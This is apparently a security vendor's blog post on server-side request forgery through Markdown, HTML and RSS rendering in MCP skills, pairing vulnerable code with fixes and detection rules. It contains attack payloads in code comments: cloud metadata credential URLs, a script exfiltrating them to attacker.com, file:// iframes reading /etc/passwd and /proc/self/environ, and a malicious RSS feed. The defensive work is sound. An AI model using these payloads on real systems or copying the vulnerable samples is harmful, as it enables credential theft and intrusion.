← Blog

Claude skill SSRF via Markdown and HTML rendering in MCP skill content processing — SA-SKL-SSRF8

Content rendering pipelines in MCP skills create a distinctive class of SSRF that is not covered by URL-input allowlists: the SSRF entry point is a URL embedded inside user-supplied Markdown or HTML, which the server-side rendering engine fetches as part of generating a PDF, an email, a preview image, or a cached feed thumbnail. The developer validates the user’s input URL before fetching, but forgets that the renderer itself will fetch every image URL, iframe source, and external resource referenced inside the user’s content. SA-SKL-SSRF8 identifies four rendering-pipeline SSRF patterns found across MCP skill codebases: markdown-it image URL server-side fetch, Puppeteer headless Chrome executing attacker JavaScript against internal network endpoints, wkhtmltopdf reading local filesystem files via file:// URLs in iframes, and RSS feed channel image URL fetch to the AWS Instance Metadata Service.

By SkillAudit  |  7 Nov 2026

Server-side rendering is an unusually high-impact SSRF attack surface because the fetch is implicit: the developer does not write fetch(userInput); instead, the developer writes markdownIt.render(userInput) or await page.setContent(userHtml), and the rendering engine initiates outbound HTTP requests to every URL it encounters in the content. The developer’s mental model is that rendering is a local, sandboxed operation that produces HTML or a PDF without side effects. In practice, any renderer that resolves external resources breaks this assumption. Because the SSRF is not initiated by explicit application code, it bypasses the allowlist and blocklist checks that protect direct URL fetch operations. The four SA-SKL-SSRF8 patterns cover the most prevalent rendering engines and content types that exhibit this behavior: markdown-it with server-side image embedding, Puppeteer with unrestricted page network access, wkhtmltopdf with local file read, and RSS import with channel image prefetch. Each pattern has a distinct fix, but all share the same root cause: user-controlled content is passed to a rendering engine without restricting the renderer’s network and filesystem access.

SA-SKL-SSRF8-001: markdown-it renders IMDS image URL server-side — ![img](https://169.254.169.254/meta-data/) triggers AWS credential fetch

markdown-it is the most widely used Markdown renderer in Node.js MCP skill codebases. By default it converts Markdown image syntax ![alt](url) into an HTML <img src="url"> tag. When this HTML is returned to a browser client, the browser fetches the image URL from the user’s own network context — a client-side fetch that cannot reach the VPS’s link-local metadata address. The vulnerability arises when the rendered output is consumed server-side: a PDF export pipeline that uses a renderer to produce intermediate HTML before converting to PDF, an email dispatch that embeds image content by fetching and base64-encoding the image, or a server-side preview that validates that image dimensions are within bounds. In each case, the server process makes an outbound HTTP request to the URL in the img src attribute — and that URL can be http://169.254.169.254/latest/meta-data/iam/security-credentials/.

The attack payload is straightforward: [![img](https://169.254.169.254/meta-data/)](url) creates a Markdown image with the IMDS URL as the image source. When the PDF pipeline calls the image-embedding step, it issues a GET request to the IMDS endpoint and receives the list of IAM role names attached to the EC2 instance. A second image tag targeting the specific role path — http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name> — retrieves a JSON document containing AccessKeyId, SecretAccessKey, and Token. Because the PDF includes these values as image alt-text or in a data URL, the response text is embedded directly in the generated document and returned to the attacker. Even if the PDF pipeline does not embed the response body, the HTTP request is logged server-side and the credentials may appear in access logs or response metadata.

The pattern is not limited to AWS. GCP exposes service account tokens at http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token (also reachable at the numeric 169.254.169.254 address). Azure exposes managed identity tokens at http://169.254.169.254/metadata/identity/oauth2/token. Any cloud VPS running an MCP skill with a server-side Markdown-to-PDF pipeline is exposed to this attack if the markdown renderer’s image URLs are not filtered before the image-embedding step executes.

// VULNERABLE: markdown-it renders Markdown to HTML, then pdf pipeline fetches img URLs
import MarkdownIt from 'markdown-it';
import puppeteer from 'puppeteer';  // or wkhtmltopdf, or nodemailer with inline images

const md = new MarkdownIt();  // default: no URL filtering on image src

async function generatePdf(userMarkdown: string): Promise<Buffer> {
  // md.render() converts Markdown to HTML string — no network calls here
  const html = md.render(userMarkdown);
  // <-- html may contain: <img src="http://169.254.169.254/latest/meta-data/iam/security-credentials/">

  // PDF step: browser fetches all external resources including img src URLs
  const browser = await puppeteer.launch();
  const page = await browser.newPage();
  await page.setContent(html, { waitUntil: 'networkidle0' });
  // <-- page.setContent() triggers Chromium to load every external resource in the HTML
  //     Chromium fetches: GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
  //     Response: list of IAM role names, e.g. 'skillaudit-ec2-role'
  //     Chromium fetches: GET http://169.254.169.254/latest/meta-data/iam/security-credentials/skillaudit-ec2-role
  //     Response: { "AccessKeyId": "ASIA...", "SecretAccessKey": "...", "Token": "..." }
  //     This response is embedded as the image content in the rendered PDF page

  const pdf = await page.pdf({ format: 'A4' });
  await browser.close();
  return pdf;
}

// ATTACK PAYLOAD (Markdown input):
// [![credentials](http://169.254.169.254/latest/meta-data/iam/security-credentials/)](http://example.com)
// The image src is the IMDS endpoint. The PDF pipeline fetches it server-side.
// The JSON response (IAM key + secret + token) is embedded in the PDF as the image content.

// ALSO VULNERABLE: nodemailer with inline image embedding
// htmlToText pipeline that pre-fetches images to validate dimensions
// server-side OG tag previewer that fetches image URLs from user markdown

// FIXED: custom markdown-it image renderer that strips absolute URLs
import MarkdownIt from 'markdown-it';
import Token from 'markdown-it/lib/token';

const md = new MarkdownIt();

// Override the image renderer to strip or proxy absolute URLs
const defaultImageRender =
  md.renderer.rules.image ||
  function (tokens: Token[], idx: number, options: any, env: any, self: any) {
    return self.renderToken(tokens, idx, options);
  };

md.renderer.rules.image = function (tokens, idx, options, env, self) {
  const token = tokens[idx];
  const srcIndex = token.attrIndex('src');

  if (srcIndex >= 0) {
    const src = token.attrs![srcIndex][1];
    // Strip any absolute URL — only allow relative paths or data: URIs (for inline images)
    if (src.startsWith('http://') || src.startsWith('https://') || src.startsWith('//')) {
      // Option 1: replace with a placeholder (no network request)
      token.attrs![srcIndex][1] = '/assets/image-blocked.svg';
      // Option 2: proxy through a safe image proxy that validates the URL server-side
      // token.attrs![srcIndex][1] = `/api/image-proxy?url=${encodeURIComponent(src)}`;
    }
  }

  return defaultImageRender(tokens, idx, options, env, self);
};

// If absolute images are needed, validate in the proxy before fetching:
async function safeImageProxy(url: string): Promise<Buffer> {
  const parsed = new URL(url);
  if (parsed.protocol !== 'https:') throw new Error('Only https: image URLs permitted');
  const resolved = await dns.promises.lookup(parsed.hostname, { family: 4 });
  assertNotPrivateOrMetadataIp(resolved.address);  // blocks 169.254.0.0/16
  const resp = await fetch(url, { redirect: 'manual' });
  if (!resp.ok) throw new Error(`Image fetch failed: ${resp.status}`);
  return Buffer.from(await resp.arrayBuffer());
}

The browser or image-embedding step fetches every img src URL from the server’s network context, not the user’s: When a Puppeteer browser or an image-inlining pipeline runs on a cloud VPS, it has network access to the link-local metadata address 169.254.169.254 that the user’s browser does not. User-supplied Markdown must be sanitized of absolute image URLs before it enters any server-side rendering pipeline. The safest approach is to forbid all absolute http:// and https:// image sources in Markdown and replace them with a placeholder; if remote images are required, route them through a proxy endpoint that applies the full SSRF validation stack (scheme check, IP blocklist including 169.254.0.0/16, redirect blocking) before fetching and re-serving the image bytes.

HIGH
SA-SKL-SSRF8-001 — markdown-it renders user Markdown with absolute image URLs; server-side PDF or email pipeline fetches img src URLs from the VPS network context; attacker embeds http://169.254.169.254/latest/meta-data/iam/security-credentials/ as image source; AWS IAM credentials embedded in generated PDF or email. Fix: custom markdown-it image renderer rule that strips http:// and https:// src values; proxy remote images through an SSRF-validated endpoint that blocks RFC1918 and 169.254.0.0/16. Detection: md.render(userInput) or markdownIt(userInput) feeding into Puppeteer, wkhtmltopdf, or image-embedding pipeline without custom image renderer → HIGH.

SA-SKL-SSRF8-002: Puppeteer headless Chrome executes user JavaScript — fetch('http://169.254.169.254/...') from Chrome’s privileged server-side network context

Puppeteer is used in MCP skill codebases for a range of content processing tasks beyond PDF generation: generating social preview images from HTML templates, taking screenshots of user-specified pages, rendering HTML email previews, and running server-side JavaScript for server-side rendering frameworks. When user-supplied HTML is passed to page.setContent() without disabling JavaScript or restricting network access, any <script> tag in the HTML executes in a Chromium context that has full access to the VPS’s network interface. Unlike a browser running on a user’s laptop, the Puppeteer Chrome instance runs on the VPS, so it can reach 169.254.169.254, internal VPC endpoints, and localhost services that are bound to loopback.

The attack payload embeds a script tag that calls fetch('http://169.254.169.254/latest/meta-data/', {credentials: 'include'}), reads the response text, and exfiltrates it to an attacker-controlled server as a query parameter. Because the fetch is initiated by Chrome from within the VPS, it has the same network access as any process running on that machine. The credentials: 'include' option has no meaningful effect here since there are no cookies or auth headers for the metadata endpoint — the endpoint is accessible without credentials by design (IMDSv1). The exfiltration request to attacker.com escapes the VPS’s network and delivers the credentials in the query string. This is not intercepted unless outbound network egress is monitored at the infrastructure level.

Even without JavaScript execution, Puppeteer’s default behavior fetches all external resources referenced in the HTML: images, stylesheets, iframes, and fetch calls from inline scripts. Setting page.setRequestInterception(true) before loading the content is the application-level control that stops these fetches. The intercept handler receives every request the page initiates, allowing the skill to inspect the target URL, resolve the hostname to an IP, and abort requests targeting private address ranges. Without this interception, every resource URL in the user-supplied HTML is fetched from the VPS’s network perspective.

// VULNERABLE: Puppeteer renders user-supplied HTML without JS restrictions or request interception
import puppeteer from 'puppeteer';

async function renderHtmlPreview(userHtml: string): Promise<Buffer> {
  const browser = await puppeteer.launch({ args: ['--no-sandbox'] });
  const page = await browser.newPage();

  // setContent() with user HTML — JavaScript executes, all external resources are fetched
  // from the VPS's network context (not the user's browser)
  await page.setContent(userHtml, { waitUntil: 'networkidle0' });
  const screenshot = await page.screenshot({ type: 'png' });
  await browser.close();
  return screenshot as Buffer;
}

// ATTACK PAYLOAD (HTML input string):
// <script>
//   fetch('http://169.254.169.254/latest/meta-data/', { credentials: 'include' })
//     .then(r => r.text())
//     .then(t => fetch('https://attacker.com/steal?d=' + encodeURIComponent(t)));
// </script>
//
// Chrome (running on VPS) executes the script:
// 1. GET http://169.254.169.254/latest/meta-data/ — returns list of metadata paths
// 2. For each path: GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
//    Returns: IAM role name, e.g. 'skillaudit-ec2-role'
// 3. GET http://169.254.169.254/latest/meta-data/iam/security-credentials/skillaudit-ec2-role
//    Returns: { "AccessKeyId": "ASIA...", "SecretAccessKey": "...", "Token": "..." }
// 4. GET https://attacker.com/steal?d=%7B%22AccessKeyId%22%3A%22ASIA...%22%2C...%7D
//    Credentials delivered to attacker.

// FIXED: request interception + JS disabled + blocklist applied to every request

import puppeteer, { Browser, Page } from 'puppeteer';
import dns from 'dns/promises';

function isPrivateOrMetadataIp(ip: string): boolean {
  return /^127\./.test(ip) ||
    /^169\.254\./.test(ip) ||
    /^10\./.test(ip) ||
    /^172\.(1[6-9]|2\d|3[01])\./.test(ip) ||
    /^192\.168\./.test(ip) ||
    ip === '::1';
}

async function renderHtmlSafe(userHtml: string): Promise<Buffer> {
  const browser = await puppeteer.launch({
    args: [
      '--no-sandbox',          // required in Docker; compensated by request interception
      '--disable-javascript',  // Option A: disable JS entirely for static HTML previews
                               // Remove this line if JS is needed; keep interception below
    ],
  });
  const page = await browser.newPage();

  // Enable request interception — MUST be called before setContent
  await page.setRequestInterception(true);

  page.on('request', async (request) => {
    const url = request.url();

    // Allow data: URIs (inline content — no network request)
    if (url.startsWith('data:')) { request.continue(); return; }

    // Block non-HTTPS schemes: file://, ftp://, blob:// outside current origin
    let parsed: URL;
    try { parsed = new URL(url); } catch { request.abort('blockedbyclient'); return; }

    if (parsed.protocol !== 'https:' && parsed.protocol !== 'http:') {
      request.abort('blockedbyclient'); return;
    }

    // Resolve hostname and block private/metadata IP ranges
    try {
      const resolved = await dns.lookup(parsed.hostname, { family: 4 });
      if (isPrivateOrMetadataIp(resolved.address)) {
        console.warn(`[SSRF block] ${url} resolved to private IP ${resolved.address}`);
        request.abort('blockedbyclient');
        return;
      }
    } catch {
      request.abort('blockedbyclient'); return;
    }

    // Optionally enforce an allowlist of permitted external domains here
    request.continue();
  });

  await page.setContent(userHtml, { waitUntil: 'networkidle0' });
  const screenshot = await page.screenshot({ type: 'png' });
  await browser.close();
  return screenshot as Buffer;
}

Puppeteer Chrome runs on the server’s network interface, not the user’s — every script tag in user HTML has the same network access as the server process: page.setRequestInterception(true) must be called before page.setContent(). The request event fires for every network request the page initiates, including fetch calls in script tags, XHR, image loads, and stylesheet loads. Without interception, Chromium acts as a fully capable HTTP client with access to all network destinations reachable from the VPS, including 169.254.169.254, VPC-internal endpoints, and loopback services. For HTML previews that do not require JavaScript execution, add --disable-javascript to the Puppeteer launch args as an additional layer of defense; this prevents script-based exfiltration even if the request interception handler has a logic error.

HIGH
SA-SKL-SSRF8-002 — Puppeteer page.setContent(userHtml) without request interception: user script tag executes fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>') from Chrome on VPS; AWS IAM credentials exfiltrated to attacker via second fetch to external server. Fix: page.setRequestInterception(true) with request event handler that resolves every hostname and aborts requests resolving to RFC1918 or 169.254.0.0/16; add --disable-javascript launch arg for static-content pipelines. Detection: page.setContent( without preceding page.setRequestInterception(true) call → HIGH.

SA-SKL-SSRF8-003: wkhtmltopdf and html-pdf read local files via file:// URL in iframe or img src

wkhtmltopdf is a command-line utility that converts HTML to PDF using the WebKit engine. It is widely used in MCP skill codebases through the Node.js wkhtmltopdf wrapper and the html-pdf npm package (which shells out to wkhtmltopdf or uses Phantom/Chrome internally). By default, wkhtmltopdf processes all resource URLs in the HTML it receives, including file:// URLs. An attacker who can supply HTML to the PDF generation endpoint can embed <iframe src="file:///etc/passwd"></iframe> or <img src="file:///etc/passwd">, and wkhtmltopdf will read the local file and attempt to embed its content in the generated PDF. For text files, the content renders as text within the iframe frame in the PDF; for binary files, the content may appear as corrupted bytes, but the file read still occurs and may be visible in the PDF’s embedded resource data.

Beyond /etc/passwd, more impactful targets include /proc/self/environ (environment variables containing API keys, database passwords, and secret tokens stored as environment variables), /proc/self/cmdline (the command line used to start the skill process, which may contain credentials), ~/.ssh/id_rsa (the skill server’s SSH private key), and application-specific secrets files such as /app/.env or /app/config/secrets.json. The file:// scheme gives the WebKit engine the full read access of the user account running wkhtmltopdf, which in containerized MCP deployments is typically the same user running the skill process.

The same vulnerability applies to wkhtmltopdf’s handling of http:// and https:// resource URLs: by default, wkhtmltopdf will follow any URL in the HTML, including http://169.254.169.254/latest/meta-data/. This means that the SSRF8-001 and SSRF8-003 patterns overlap when wkhtmltopdf is used directly without an intermediate browser renderer. The --disable-local-file-access flag addresses the file:// variant; the metadata endpoint variant requires the full IP blocklist approach described in SSRF8-001.

// VULNERABLE: html-pdf / wkhtmltopdf called with user-supplied HTML, no sanitization
import pdf from 'html-pdf';  // or: import wkhtmltopdf from 'wkhtmltopdf';

async function generateUserReport(userHtml: string): Promise<Buffer> {
  return new Promise((resolve, reject) => {
    pdf.create(userHtml, {
      format: 'A4',
      // No --disable-local-file-access or other security flags
    }).toBuffer((err, buffer) => {
      if (err) reject(err);
      else resolve(buffer);
    });
  });
}

// ATTACK PAYLOAD 1 — read /etc/passwd:
// userHtml = '<iframe src="file:///etc/passwd" width="800" height="600"></iframe>'
// wkhtmltopdf reads /etc/passwd and embeds its content in the PDF iframe frame.
// Generated PDF contains full /etc/passwd content when opened.

// ATTACK PAYLOAD 2 — read environment variables (API keys, DB passwords):
// userHtml = '<iframe src="file:///proc/self/environ"></iframe>'
// /proc/self/environ contains null-separated KEY=VALUE pairs for all env vars.
// If skill sets DATABASE_URL=postgres://user:password@host/db in environment,
// or SECRET_KEY=... or OPENAI_API_KEY=sk-..., these appear verbatim in the PDF.

// ATTACK PAYLOAD 3 — read application secrets file:
// userHtml = '<iframe src="file:///app/.env"></iframe>'
// or: '<img src="file:///app/config/secrets.json">'
// Skill application code typically lives in /app — secrets files are often present.

// FIXED: DOMPurify sanitization + wkhtmltopdf security flags + sandboxed renderer

// Step 1: Sanitize HTML with DOMPurify (server-side via jsdom) before PDF generation
import { JSDOM } from 'jsdom';
import createDOMPurify from 'dompurify';

const { window } = new JSDOM('');
const DOMPurify = createDOMPurify(window as any);

function sanitizeHtmlForPdf(userHtml: string): string {
  return DOMPurify.sanitize(userHtml, {
    ALLOWED_TAGS: ['p', 'h1', 'h2', 'h3', 'h4', 'ul', 'ol', 'li', 'strong', 'em',
                   'a', 'table', 'thead', 'tbody', 'tr', 'th', 'td', 'br', 'hr',
                   'blockquote', 'code', 'pre', 'span', 'div'],
    // Strip img and iframe entirely — if images are needed, serve via safe proxy
    // FORBID: ['img', 'iframe', 'script', 'link', 'style', 'object', 'embed']
    ALLOWED_ATTR: ['href', 'class', 'id', 'style'],
    ALLOW_DATA_ATTR: false,
    FORBID_ATTR: ['src', 'action', 'formaction', 'xlink:href'],  // block all src attrs
    FORCE_BODY: true,
  });
}

// Step 2: Pass wkhtmltopdf security flags
import wkhtmltopdf from 'wkhtmltopdf';

async function generatePdfSafe(userHtml: string): Promise<Buffer> {
  const sanitized = sanitizeHtmlForPdf(userHtml);

  return new Promise((resolve, reject) => {
    const chunks: Buffer[] = [];
    const stream = wkhtmltopdf(sanitized, {
      disableLocalFileAccess: true,        // --disable-local-file-access
      disableJavascript: true,             // --disable-javascript
      noBackground: false,
      // Additional: use --allow to whitelist specific directories if assets are needed
    });
    stream.on('data', (chunk: Buffer) => chunks.push(chunk));
    stream.on('end', () => resolve(Buffer.concat(chunks)));
    stream.on('error', reject);
  });
}

// Step 3: For html-pdf (Puppeteer-based variant), use the safe Puppeteer renderer
// from SSRF8-002 — DOMPurify sanitization + request interception is the correct stack.

--disable-local-file-access prevents file:// reads but does not block http://169.254.169.254/ metadata fetches: Both defenses are required independently. DOMPurify with FORBID_ATTR: ['src'] strips src attributes from all tags before the HTML reaches wkhtmltopdf, eliminating the attack vector at the content layer. The --disable-local-file-access wkhtmltopdf flag provides defense-in-depth at the renderer layer. The --disable-javascript flag prevents script-based exfiltration analogous to SSRF8-002. All three layers should be applied together; relying on any single layer leaves the other vectors open. If the PDF pipeline requires images, strip the src attribute in DOMPurify and re-inject safe, pre-validated image URLs using the application’s own image proxy before passing the sanitized HTML to the renderer.

HIGH
SA-SKL-SSRF8-003 — wkhtmltopdf or html-pdf called with unsanitized user HTML: attacker embeds <iframe src="file:///proc/self/environ"> or <img src="file:///etc/passwd">; wkhtmltopdf reads local file and embeds content in generated PDF; environment variables, SSH keys, and application secrets exposed. Fix: DOMPurify with FORBID_ATTR: ['src'] before PDF generation; --disable-local-file-access and --disable-javascript wkhtmltopdf flags; use sandboxed Puppeteer renderer with request interception for the html-pdf variant. Detection: pdf.create(userHtml or wkhtmltopdf(userHtml without prior DOMPurify sanitization and without disableLocalFileAccess option → HIGH.

SA-SKL-SSRF8-004: RSS feed import follows <image><url> server-side — attacker publishes malicious RSS that targets AWS IMDS

RSS feed import is a common feature in MCP skills that aggregate content: the user provides a feed URL, the skill fetches the feed XML, parses the channel metadata, and caches feed information including the channel image for display in the skill’s UI. The RSS 2.0 specification defines a <channel><image><url> element that provides the feed’s logo or icon. When the import pipeline fetches the channel image URL to cache it locally, it makes an outbound HTTP request to the URL specified by the feed publisher. If that URL is http://169.254.169.254/latest/meta-data/iam/security-credentials/, the skill process issues a request to the AWS IMDS endpoint from the VPS’s network context and receives IAM credentials in the response.

The attack requires that the attacker control an RSS feed URL that the user imports. This is not a high bar: the attacker can publish a malicious feed on a blog, a GitHub pages site, or any public hosting service, then social-engineer a target user into importing it, or exploit a vulnerability in an auto-discovery feature that imports feeds based on user-supplied domain names. The RSS feed’s channel title and description can be entirely legitimate, with only the <image><url> element pointing to the IMDS endpoint. The feed passes content-level validation; the SSRF occurs only during the image prefetch step that follows parsing.

Beyond AWS IMDS, the same attack vector can target internal VPC services. If the VPS has network access to internal Elasticsearch, Redis, Prometheus, or admin dashboard endpoints on RFC1918 addresses, the feed image URL can be set to any of these. The response body from the internal service is stored as the cached channel image content (or an error is thrown that may disclose the response body in an error log). RSS Atom feeds use a different element structure (<logo> or <icon>) but are equally vulnerable if the import pipeline fetches those URLs without validation.

// VULNERABLE: RSS import fetches channel image URL without IP validation
import Parser from 'rss-parser';
import fetch from 'node-fetch';
import fs from 'fs/promises';
import path from 'path';

const parser = new Parser();

async function importRssFeed(feedUrl: string): Promise<void> {
  // feedUrl is validated (must be https, resolved IP checked) — this part is safe
  const feed = await parser.parseURL(feedUrl);

  // Store feed metadata
  const channelData = {
    title: feed.title,
    description: feed.description,
    imageUrl: feed.image?.url,  // from <image><url> in RSS XML — attacker-controlled value
  };

  // Fetch and cache channel image for display in UI
  if (channelData.imageUrl) {
    // NO IP validation on the image URL from the feed — only feedUrl was validated
    const imgResp = await fetch(channelData.imageUrl);  // <-- SSRF here
    // If channelData.imageUrl = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/'
    // imgResp contains the list of IAM role names
    // The error from non-image content-type or the response body appears in logs

    const imgBuffer = Buffer.from(await imgResp.arrayBuffer());
    await fs.writeFile(
      path.join('/app/cache/feed-images', feed.title + '.png'),
      imgBuffer  // IAM credential JSON written to cache file, path traversal also possible
    );
  }
}

// ATTACK RSS FEED XML (attacker publishes at https://attacker.com/feed.xml):
// <rss version="2.0">
//   <channel>
//     <title>Legitimate Security Blog</title>
//     <description>Security news and updates</description>
//     <link>https://attacker.com/</link>
//     <image>
//       <url>http://169.254.169.254/latest/meta-data/iam/security-credentials/</url>
//       <title>Blog Logo</title>
//       <link>https://attacker.com/</link>
//     </image>
//     <item>...legitimate items...</item>
//   </channel>
// </rss>

// FIXED: validate image URL with full SSRF stack before fetching

import dns from 'dns/promises';

function isPrivateOrMetadataIp(ip: string): boolean {
  return /^127\./.test(ip) ||
    /^169\.254\./.test(ip) ||      // IMDS link-local — most critical
    /^10\./.test(ip) ||
    /^172\.(1[6-9]|2\d|3[01])\./.test(ip) ||
    /^192\.168\./.test(ip) ||
    ip === '::1';
}

async function validateFeedImageUrl(imageUrl: string): Promise<void> {
  let parsed: URL;
  try {
    parsed = new URL(imageUrl);
  } catch {
    throw new Error(`Invalid image URL in feed: ${imageUrl}`);
  }

  // Scheme must be https:
  if (parsed.protocol !== 'https:') {
    throw new Error(`Feed image URL must use https:// scheme, got: ${parsed.protocol}`);
  }

  // Reject URLs with credential components
  if (parsed.username || parsed.password) {
    throw new Error('Feed image URL contains credential component (@)');
  }

  // Resolve hostname and block private/metadata IP ranges
  const resolved = await dns.lookup(parsed.hostname, { family: 4 });
  if (isPrivateOrMetadataIp(resolved.address)) {
    throw new Error(
      `Feed image URL hostname ${parsed.hostname} resolves to private/metadata IP ${resolved.address}`
    );
  }

  // Optional: allowlist — only fetch images from same domain as the feed, or a CDN allowlist
  // if (!parsed.hostname.endsWith(allowedFeedDomain)) {
  //   throw new Error(`Feed image URL domain ${parsed.hostname} not in allowlist`);
  // }
}

async function importRssFeedSafe(feedUrl: string): Promise<void> {
  const feed = await parser.parseURL(feedUrl);

  const channelData = {
    title: feed.title,
    description: feed.description,
    imageUrl: feed.image?.url,
  };

  if (channelData.imageUrl) {
    // Validate image URL before fetching — apply full SSRF validation stack
    await validateFeedImageUrl(channelData.imageUrl);

    const imgResp = await fetch(channelData.imageUrl, { redirect: 'manual' });
    if (!imgResp.ok) throw new Error(`Feed image fetch failed: ${imgResp.status}`);

    // Validate Content-Type is an image MIME type before writing to disk
    const contentType = imgResp.headers.get('content-type') || '';
    if (!contentType.startsWith('image/')) {
      throw new Error(`Feed image URL returned non-image content-type: ${contentType}`);
    }

    const imgBuffer = Buffer.from(await imgResp.arrayBuffer());
    // Use a fixed filename derived from feed ID, not user-supplied title (path traversal)
    const safeFilename = `feed-${encodeURIComponent(feed.title ?? 'unknown')}.png`;
    await fs.writeFile(path.join('/app/cache/feed-images', safeFilename), imgBuffer);
  }
}

Validating the feed’s source URL is not sufficient — every URL extracted from the feed XML must be independently validated before it is fetched: The feed URL itself may be a legitimate HTTPS endpoint that passes all SSRF checks. The malicious URL lives inside the feed content, in the <image><url> element, the item <enclosure url=””> attribute, or the <link> elements. Each URL that the import pipeline fetches server-side is a separate SSRF entry point and must receive independent scheme, credential, IP, and redirect validation. Additionally, verify the Content-Type response header of image fetches: a valid image endpoint returns image/png or image/jpeg, not text/plain or application/json; treating a non-image response as an image write reveals credential JSON in cache files and in any error logging of image processing failures.

MEDIUM
SA-SKL-SSRF8-004 — RSS feed import fetches <image><url> channel image URL without IP validation: attacker publishes RSS feed with IMDS URL as channel image; skill fetches http://169.254.169.254/latest/meta-data/iam/security-credentials/ server-side during import; IAM credentials stored in cache file or disclosed in error log. Fix: apply full SSRF validation (scheme, IP blocklist including 169.254.0.0/16, redirect blocking) to every URL extracted from feed XML before fetching; validate Content-Type of image response; use an allowlist of permitted feed image domains. Detection: feed.image?.url or feed.image.url passed to fetch( without intermediate IP validation → MEDIUM.

Detection summary

FindingSeverityVulnerable patternFixDetection signal
SSRF8-001: markdown-it image URL server-side fetch HIGH md.render(userInput) feeding PDF/email pipeline that fetches img src URLs; no custom image renderer to strip absolute URLs Custom markdown-it image renderer that strips http:// / https:// src values; proxy remote images through SSRF-validated endpoint blocking 169.254.0.0/16 md.render(userInput) or markdownIt(userInput) feeding Puppeteer / wkhtmltopdf / image-embedding without custom image renderer
SSRF8-002: Puppeteer headless Chrome user JS execution HIGH page.setContent(userHtml) without request interception; user script tag fetches IMDS from Chrome on VPS; credentials exfiltrated to attacker server page.setRequestInterception(true) before setContent; intercept handler blocks RFC1918 + 169.254.0.0/16; add --disable-javascript for static pipelines page.setContent( without preceding page.setRequestInterception(true)
SSRF8-003: wkhtmltopdf local file read via file:// URL HIGH wkhtmltopdf / html-pdf called with unsanitized HTML; file:///etc/passwd or file:///proc/self/environ in iframe src embeds secrets in PDF DOMPurify with FORBID_ATTR: ['src']; --disable-local-file-access and --disable-javascript wkhtmltopdf flags pdf.create(userHtml or wkhtmltopdf(userHtml without DOMPurify and without disableLocalFileAccess
SSRF8-004: RSS feed channel image URL IMDS fetch MEDIUM feed.image?.url passed directly to fetch(); attacker RSS publishes IMDS URL as channel image; skill fetches credentials during import Full SSRF validation (scheme, IP blocklist with 169.254.0.0/16, redirect block) on all URLs extracted from feed XML; Content-Type validation of image responses feed.image?.url or feed.image.url passed to fetch( without IP validation

SkillAudit detects all four SA-SKL-SSRF8 patterns through static analysis and dataflow tracing: markdown-it render calls without a custom image renderer rule feeding PDF pipelines, Puppeteer setContent calls without prior setRequestInterception, wkhtmltopdf and html-pdf calls without DOMPurify sanitization and security flags, and RSS feed image URL fetch calls without IP validation. These patterns are distinct from direct URL fetch SSRF (covered in SA-SKL-SSRF2 through SA-SKL-SSRF7) because the SSRF is initiated by the rendering engine rather than by explicit application fetch code, making it invisible to URL-input allowlist checks. Automated detection requires dataflow analysis from user-supplied Markdown or HTML content through to renderer invocations, tracking whether each renderer’s network and filesystem access is constrained before the render call.

Related patterns: For URL-parsing-inconsistency SSRF (IPv6 loopback, URL authority confusion, Unicode normalization, CRLF injection) see SA-SKL-SSRF7: IPv6 and URL authority SSRF. For server-side request forgery in direct URL fetch operations see MCP server SSRF security. For the full SA-SKL vulnerability taxonomy see the SkillAudit attack surface reference.

Scan your Claude skill for content-rendering SSRF vulnerabilities

SkillAudit detects markdown-it image URL server-side fetch, Puppeteer headless Chrome SSRF, wkhtmltopdf local file read, and RSS feed image URL IMDS fetch across the full SA-SKL-SSRF8 family in 60 seconds.

Get your free audit